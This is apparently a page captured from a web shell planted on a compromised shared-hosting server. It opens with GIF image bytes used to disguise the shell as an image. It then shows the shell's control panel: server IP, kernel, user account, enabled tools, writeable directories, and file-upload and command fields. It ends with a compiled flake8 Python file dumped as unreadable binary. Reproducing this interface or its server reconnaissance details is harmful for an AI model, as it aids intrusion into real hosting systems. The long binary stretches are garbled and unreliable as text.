GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.66
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/flake8/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/flake8/__pycache__/processor.cpython-311.pyc
�

�h/@��,�dZddlZddlZddlZddlZddlZddlmZddlmZddlm	Z	ddlm
Z
ddlmZddlmZdd	l
mZdd
l
mZddlmZeje��Zeejejg��Zeejejejejg��Ze
eeeeeffZee
ee
eefZGd�d
��Zdej de!fd�Z"dej de!fd�Z#dej de!fd�Z$dededefd�Z%dedefd�Z&dedefd�Z'dS)zFModule containing our file processor that tokenizes a file for checks.�N)�Any)�Dict)�	Generator)�List)�Optional)�Tuple)�defaults)�utils)�LoadedPluginc	�|�eZdZdZdZ	d(dedejdee	eddfd�Z
ede	ej
fd	���Zejd
ededfd���Zd)d
�Zd)d�Zd)d�Zdeddfd�Zdeddfd�Zd)d�Zdefd�Zdejfd�Z de!eeeffd�Z"dej
deeddffd�Z#de$ee%fde$ee&fde$ee&ffd�Z'deej
ddffd�Z(dedede$eeffd �Z)d
edeefd!�Z*defd"�Z+de	efd#�Z,de	efd$�Z-de	efd%�Z.de%fd&�Z/d)d'�Z0dS)*�
FileProcessora>Processes a file and holdes state.

    This processes a file by generating tokens, logical and physical lines,
    and AST trees. This also provides a way of passing state about the file
    to checks expecting that state. Any public attribute on this object can
    be requested by a plugin. The known public attributes are:

    - :attr:`blank_before`
    - :attr:`blank_lines`
    - :attr:`checker_state`
    - :attr:`indent_char`
    - :attr:`indent_level`
    - :attr:`line_number`
    - :attr:`logical_line`
    - :attr:`max_line_length`
    - :attr:`max_doc_length`
    - :attr:`multiline`
    - :attr:`noqa`
    - :attr:`previous_indent_level`
    - :attr:`previous_logical`
    - :attr:`previous_unindented_logical_line`
    - :attr:`tokens`
    - :attr:`file_tokens`
    - :attr:`total_lines`
    - :attr:`verbose`
    FN�filename�options�lines�returnc��||_||_|�|n|���|_|���d|_d|_i|_i|_|j	|_	d|_
d|_|j|_d|_
d|_|j|_|j|_d|_d|_d|_d|_g|_t-|j��|_|j|_ddi|_d|_d|_dS)z]Initialice our file processor.

        :param filename: Name of the file to process
        Nr�F�
logical lines)rr�
read_linesr�
strip_utf_bom�blank_before�blank_lines�_checker_states�
checker_state�hang_closing�indent_char�indent_level�indent_size�line_number�logical_line�max_line_length�max_doc_length�	multiline�previous_indent_level�previous_logical� previous_unindented_logical_line�tokens�len�total_lines�verbose�
statistics�_file_tokens�_noqa_line_mapping)�selfrrrs    �a/builddir/build/BUILD/cloudlinux-venv-1.0.8/venv/lib/python3.11/site-packages/flake8/processor.py�__init__zFileProcessor.__init__<s
����� ��
�#�/�U�U�T�_�_�5F�5F��
�������������:<���-/���#�0���*.������"�.���������&�6���%�4������%&��"� "���02��-�02����t�z�?�?�������*�A�.���@D���<@�����c���|j�=t|j���tt	j�fd�����|_|jS)z-Return the complete set of tokens for a file.Nc�"��t���S�N)�next)�	line_iters�r/�<lambda>z+FileProcessor.file_tokens.<locals>.<lambda>~s
����i���r1)r,�iterr�list�tokenize�generate_tokens)r.r6s @r/�file_tokenszFileProcessor.file_tokensxsR�����$��T�Z�(�(�I� $��(�)@�)@�)@�)@�A�A�!�!�D��� � r1r)NNNc#�<K�||_d|_dV�d|_dS)z2Context-manager to toggle the multiline attribute.TNF)rr#)r.rs  r/�inside_multilinezFileProcessor.inside_multiline�s+����
'������
��������r1c��d|_dS)z)Reset the blank_before attribute to zero.rN)r�r.s r/�reset_blank_beforez FileProcessor.reset_blank_before�s������r1c��|jd=dS)z-Delete the first token in the list of tokens.rN)r'r@s r/�delete_first_tokenz FileProcessor.delete_first_token�s���K��N�N�Nr1c�&�|xjdz
c_dS)z&Note that we visited a new blank line.�N)rr@s r/�visited_new_blank_linez$FileProcessor.visited_new_blank_line�s�����A�����r1�mappingc��|dd\}}|j|dz
}t|d|���|_|j|jkr|j|_dSdS)z:Update the indent level based on the logical line mapping.rrEN)r�
expand_indentrrr)r.rG�	start_row�	start_col�
start_lines     r/�update_statezFileProcessor.update_state�sg��!(���A����I��Z�	�A�
�.�
�)�*�Z�i�Z�*@�A�A�����t�/�/�/� $� 0�D����0�/r1�pluginc�f�d|jvr'|j�|ji��|_dSdS)z2Update the checker_state attribute for the plugin.rN)�
parametersr�
setdefault�
entry_namer)r.rNs  r/�update_checker_state_forz&FileProcessor.update_checker_state_for�sA���f�/�/�/�!%�!5�!@�!@��!�2�"�"�D����0�/r1c��|jr+|j|_|j|_|js|j|_d|_g|_dS)zoRecord the previous logical line.

        This also resets the tokens list and the blank_lines count.
        rN)r rr$r%r&rr'r@s r/�next_logical_linezFileProcessor.next_logical_line�sP��
��	J�)-�):�D�&�$(�$5�D�!��$�
J�8<�8I��5��������r1c��g}g}g}d}dx}}|jD]�\}}}	}
}|tvr�|sd|	fg}|tjkr|�|���?|tjkrt
|��}|rO|	\}}
||kr1|dz
}|dz
}|j||}|dks|dvr	|dvrd|��}n||
kr
|||
�|z}|�|��|t|��z
}|�||
f��|
\}}��|||fS)z4Build the mapping, comments, and logical line lists.rNrE�,z{[(�}])� )	r'�SKIP_TOKENSr:�COMMENT�append�STRING�
mutate_stringrr()r.�logical�commentsrG�length�previous_row�previous_column�
token_type�text�start�end�linerJ�start_column�	row_index�column_index�
previous_texts                 r/�build_logical_line_tokensz'FileProcessor.build_logical_line_tokens�sy������#%����)-�-���26�+�	2�	2�.�J��e�S�$��[�(�(���
'��u�:�,���X�-�-�-�����%�%�%���X�_�,�,�$�T�*�*���
E�,1�)��L��9�,�,� ,�q� 0�I�#2�Q�#6�L�$(�J�y�$9�,�$G�M�$��+�+�%�U�2�2�t�5�7H�7H�)�4�z�z���$��4�4���� <�=��D�D��N�N�4� � � ��c�$�i�i��F��N�N�F�C�=�)�)�)�.1�+�\�?�?���'�)�)r1c�Z�tjd�|j����S)z5Build an abstract syntax tree from the list of lines.r)�ast�parse�joinrr@s r/�	build_astzFileProcessor.build_ast�s ���y������,�,�-�-�-r1c���|���\}}}d�|��}d�|��|_|jdxxdz
cc<||j|fS)z2Build a logical line from the current tokens list.rrrE)rmrqr r+)r.r`r_�mapping_list�joined_commentss     r/�build_logical_linez FileProcessor.build_logical_line�sm��*.�*H�*H�*J�*J�'��'�<��'�'�(�+�+���G�G�G�,�,������(�(�(�A�-�(�(�(��� 1�<�?�?r1�tokenc#�K�t|jd|jd��D]$}|j|dz
V�|xjdz
c_�%dS)z|Split a physical line's line based on new-lines.

        This also auto-increments the line number for the caller.
        rrEN)�rangerfrgrr)r.rw�line_nos   r/�
split_linezFileProcessor.split_line�se�����U�[��^�U�Y�q�\�:�:�	"�	"�G��*�W�q�[�)�)�)�)�����!����	"�	"r1rP�	argumentsc���i}|���D]L\}}||vr�
	t||��||<�#t$r!|r�t�d|��Y�IwxYw|S)z8Generate the keyword arguments for a list of parameters.zPPlugin requested optional parameter "%s" but this is not an available parameter.)�items�getattr�AttributeError�LOG�warning)r.rPr|�ret�param�requireds      r/�keyword_arguments_forz#FileProcessor.keyword_arguments_for�s�����)�/�/�1�1�
	�
	�O�E�8��	�!�!��

�$�T�5�1�1��E�
�
��!�
�
�
�����K�K�B�������	
�����
s�6�(A!� A!c#�K�tj|j��D]:}|dd|jkrdS|j�|��|V��;dS)z'Tokenize the file and yield the tokens.�rN)r:r;�	next_liner)r'r\)r.rws  r/r;zFileProcessor.generate_tokenssj�����-�d�n�=�=�	�	�E��Q�x��{�T�-�-�-�����K���u�%�%�%��K�K�K�K�		�	r1�min_line�max_linec��t||dz��}d�|j|dz
|���}t�||��S)NrEr)ryrqr�dict�fromkeys)r.r�r��
line_range�joineds     r/�_noqa_line_rangezFileProcessor._noqa_line_rangesJ���8�X��\�2�2�
������H�q�L�8�$;�<�=�=���}�}�Z��0�0�0r1c�~�|j��	|j}i}t|j��dz}d}|D]�\}}\}}\}	}}|tjkrn}t
||��}t||	��}|tjtj	fvrB|�
|�||����t|j��dz}d}��|dkr)|�
|�||����||_n##tjtf$r
i|_YnwxYw|j�|��S)z7Retrieve the line which will be used to determine noqa.Nr����)r-r<r(rr:�	ENDMARKER�min�max�NL�NEWLINE�updater��
TokenError�SyntaxError�get)
r.rr<r�r�r��tp�_�s_line�e_lines
          r/�
noqa_line_forzFileProcessor.noqa_line_fors_���"�*�
.�"�.�����t�z�?�?�Q�.����:E�&�&�6�B��;�F�A����Q��X�/�/�/���"�8�V�4�4�H�"�8�V�4�4�H��h�k�8�+;�<�<�<��
�
�4�#8�#8��8�#L�#L�M�M�M�#&�t�z�?�?�Q�#6��#%���
�r�>�>��J�J�t�4�4�X�x�H�H�I�I�I�*-��'�'��9�'��5�
-�
-�
-�+-��'�'�'�
-����B�&�*�*�;�7�7�7s�D�D"�!D"c���|j|jkrdS|j|j}|xjdz
c_|j�#|dd�tjvr
|d|_|S)z Get the next line from the list.rrENr)rr)rrr	�
WHITESPACE)r.rhs  r/r�zFileProcessor.next_line=sj����t�/�/�/��2��z�$�*�+�����A������#��R�a�R��H�4G�(G�(G�#�A�w�D���r1c��|j�|jdkr(|jjpd|_|���}n|���}|S)z%Read the lines for this file checker.N�-�stdin)rr�stdin_display_name�read_lines_from_stdin�read_lines_from_filename)r.rs  r/rzFileProcessor.read_linesGsP���=� �D�M�S�$8�$8� �L�;�F�w�D�M��.�.�0�0�E�E��1�1�3�3�E��r1c�J�	tj|j��5}|���cddd��S#1swxYwYdS#tt
f$rHt|jd���5}|���cddd��cYS#1swxYwYYdSwxYw)zRead the lines for a file.Nzlatin-1)�encoding)r:�openr�	readlinesr��UnicodeError)r.�fds  r/r�z&FileProcessor.read_lines_from_filenamePs7��	&���t�}�-�-�
&���|�|�~�~�
&�
&�
&�
&�
&�
&�
&�
&�
&�
&�
&�
&����
&�
&�
&�
&�
&�
&���\�*�	&�	&�	&��d�m�i�8�8�8�
&�B��|�|�~�~�
&�
&�
&�
&�
&�
&�
&�
&�
&�
&�
&�
&�
&�
&����
&�
&�
&�
&�
&�
&�
&�	&���sU�A	�<�A	�A�A	�A�A	�	'B"�0B�
B"�B	�B"�B	�B"�!B"c�(�tj��S)z Read the lines from standard in.)r
�stdin_get_linesr@s r/r�z#FileProcessor.read_lines_from_stdin[s���$�&�&�&r1c���|jjs td�|jD����rdStd�|jD����rt�d��dSdS)z�Check if ``flake8: noqa`` is in the file to be ignored.

        :returns:
            True if a line matches :attr:`defaults.NOQA_FILE`,
            otherwise False
        c3�TK�|]#}tj�|��V��$dSr4)r	�	NOQA_FILE�match��.0rhs  r/�	<genexpr>z3FileProcessor.should_ignore_file.<locals>.<genexpr>fsD����1
�1
�/3�H��$�$�T�*�*�1
�1
�1
�1
�1
�1
r1Tc3�TK�|]#}tj�|��V��$dSr4)r	r��searchr�s  r/r�z3FileProcessor.should_ignore_file.<locals>.<genexpr>js3����H�H�T��#�*�*�4�0�0�H�H�H�H�H�Hr1z[Detected `flake8: noqa` on line with code. To ignore an error on a line use `noqa` instead.F)r�disable_noqa�anyrr�r�r@s r/�should_ignore_filez FileProcessor.should_ignore_file_s����|�(�	�S�1
�1
�7;�z�1
�1
�1
�.
�.
�	��4�
�H�H�T�Z�H�H�H�
H�
H�	��K�K�6�
�
�
��5��5r1c��|jsdSt|jdd��}|dvrdS|dkr|jddd�|jd<dS|jddd�dkr|jddd�|jd<dSdS)z-Strip the UTF bom from the lines of the file.Nr)���r�rE�u)r�ord)r.�
first_bytes  r/rzFileProcessor.strip_utf_bomss����z�	��F����A��q�)�*�*�
��^�+�+��F����� �J�q�M�!�"�"�-�D�J�q�M�M�M�
�Z��]�2�A�2�
�.�
0�
0� �J�q�M�!�"�"�-�D�J�q�M�M�M�1�
0r1r4)rN)1�__name__�
__module__�__qualname__�__doc__�noqa�str�argparse�	Namespacerrr0�propertyr:�	TokenInfor<�
contextlib�contextmanager�intrr>rArCrF�_LogicalMappingrMrrSrU�_Logicalrmro�ASTrrrrvr{r�boolrr�r;r�r�r�rr�r�r�r�r1r/r
r
s���������8�D�&*�	:A�:A��:A��#�:A���S�	�"�	:A�

�:A�:A�:A�:A�x�!�T�(�"4�5�!�!�!��X�!������	�#�	$�������������������1�O�1��1�1�1�1��|�����������!*�8�!*�!*�!*�!*�F.�3�7�.�.�.�.�@�E�#�s�O�*C�$D�@�@�@�@�"��'�"�	�3��d�?�	#�"�"�"�"����d��O����S��>��
�c�3�h��	����.��8�+=�t�T�+I�!J�����1��1��1��S�#�X��1�1�1�1�
&8��&8��#��&8�&8�&8�&8�P�3������D��I�����	&�$�s�)�	&�	&�	&�	&�'�t�C�y�'�'�'�'��D�����(.�.�.�.�.�.r1r
rwrc��|dtvp1|d|ddd����dkS)z+Check if the token is an end-of-line token.r�r�rENz\
)r��lstrip�rws r/�is_eol_tokenr��s<����8�w��L�%��(�5��8�A�;�=�=�"9�"@�"@�"B�"B�f�"L�Lr1c�B�|dtjko	d|dvS)z$Check if this is a multiline string.r�
rE)r:r]r�s r/�is_multiline_stringr��s!����8�x��&�;�4�5��8�+;�;r1c� �|dtvS)z0Check if the token type is a newline token type.r)r�r�s r/�token_is_newliner��s����8�w��r1�current_parentheses_count�
token_textc�*�|dvr|dzS|dvr|dz
S|S)z Count the number of parentheses.z([{rErXr�)r�r�s  r/�count_parenthesesr��s4���U���(�1�,�,�	�u�	�	�(�1�,�,�$�$r1rhc�F�t|�d����S)z�Return the amount of indentation.

    Tabs are expanded to the next multiple of 8.

    >>> expand_indent('    ')
    4
    >>> expand_indent('\t')
    8
    >>> expand_indent('       \t')
    8
    >>> expand_indent('        \t')
    16
    �)r(�
expandtabs)rhs r/rIrI�s���t���q�!�!�"�"�"r1rec���|�|d��dz}t|��dz
}|dd�dvr
|dz
}|dz}|d|�d||z
zz||d�zS)z�Replace contents with 'xxx' to prevent syntax matching.

    >>> mutate_string('"abc"')
    '"xxx"'
    >>> mutate_string("'''abc'''")
    "'''xxx'''"
    >>> mutate_string("r'abc'")
    "r'xxx'"
    r�rE���N)z"""z'''r��x)�indexr()rerfrgs   r/r^r^�s{��
�J�J�t�B�x� � �1�$�E�

�d�)�)�a�-�C��B�C�C�y�N�"�"�
��
���q�������<�#��u��-�-��S�T�T�
�:�:r1)(r�r�ror��loggingr:�typingrrrrrr�flake8r	r
�flake8.plugins.finderr�	getLoggerr�r��	frozensetr�r��INDENT�DEDENTrZr�r�r�r�r
r�r�r�r�r�r�rIr^r�r1r/�<module>r�s���L�L�����
�
�
�
�������������������������������������������������������������.�.�.�.�.�.��g���!�!��
�)�X�[�(�"2�3�
4�
4���i�
�[�(�"�H�O�X�_�E�����u�S�%��S��/�1�2�3����c��D��I��6�7��d.�d.�d.�d.�d.�d.�d.�d.�NM��*�M�t�M�M�M�M�
<�x�1�<�d�<�<�<�<�
�H�.��4�����
%��%�#�%�#�%�%�%�%�#��#��#�#�#�#�(;��;��;�;�;�;�;�;r1

Youez - 2016 - github.com/yon3zu
LinuXploit